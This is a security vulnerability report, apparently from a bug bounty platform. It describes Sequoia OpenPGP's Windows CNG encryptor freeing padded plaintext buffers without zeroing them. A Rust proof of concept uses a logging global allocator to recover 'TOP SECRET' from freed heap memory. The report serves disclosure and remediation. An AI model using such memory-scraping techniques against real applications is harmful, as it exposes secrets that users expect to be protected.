Sign in or sign up before continuing. Don't have an account yet? Register now to get started.
[#YWH-PGM8724-146] Windows CNG encryptor leaves padded plaintext copies on the heap
Severity Medium
The Windows-only CNG backend allocates a temporary buffer `_src` whenever the caller encrypts a chunk whose length is not a multiple of the block size. The padding helper copies the caller’s plaintext into `_src`, passes the padded slice to `SymmetricAlgorithmKey::encrypt`, and then simply drops the vector without overwriting its contents.【F:openpgp/src/crypto/backend/cng/symmetric.rs†L108-L132】
Because `_src` is a heap allocation, dropping it hands the allocator an entire copy of the plaintext. Attackers with the ability to dump or reuse freed memory (e.g. through crash dumps, heap spraying, or a hostile global allocator in a plug-in) can recover the sensitive data that should have remained secret.
**Proof of concept (Windows-only):**
```rust
#![cfg(windows)]
use sequoia_openpgp::crypto::symmetric::{BlockCipherMode, Encryptor, PaddingMode};
use sequoia_openpgp::crypto::{SessionKey, SymmetricAlgorithm};
use std::alloc::{GlobalAlloc, Layout, System};
use std::io::Write;
use std::sync::Mutex;
struct LoggingAlloc(Mutex<Vec<Vec<u8>>>);
unsafe impl GlobalAlloc for LoggingAlloc {
unsafe fn alloc(&self, layout: Layout) -> *mut u8 {
System.alloc(layout)
}
unsafe fn dealloc(&self, ptr: *mut u8, layout: Layout) {
let leak = std::slice::from_raw_parts(ptr, layout.size()).to_vec();
self.0.lock().unwrap().push(leak);
System.dealloc(ptr, layout);
}
}
#[global_allocator]
static LEAKS: LoggingAlloc = LoggingAlloc(Mutex::new(Vec::new()));
fn drain_leaks() -> Vec<Vec<u8>> {
std::mem::take(&mut *LEAKS.0.lock().unwrap())
}
fn main() -> sequoia_openpgp::Result<()> {
let key = SessionKey::from(vec![0x41; 32]);
let sink = Vec::new();
let mut enc = Encryptor::new(
SymmetricAlgorithm::AES256,
BlockCipherMode::CFB,
PaddingMode::None,
&key,
None,
sink,
)?;
enc.write_all(b"TOP SECRET")?; // 10 bytes ⇒ triggers the padding buffer
enc.finalize()?; // drops `_src` without clearing it
for blob in drain_leaks() {
if blob.windows(10).any(|w| w == b"TOP SECRET") {
println!("Recovered plaintext from freed heap: {:?}", blob);
}
}
Ok(())
}
```
Running the sample on Windows produces a log line showing the freed allocation that still contains `"TOP SECRET"`, proving that the encryptor drops plaintext buffers intact.
Last commint hash \`05e6707ad2c68fa52a30c3c9a21d54dc00089919\`
issue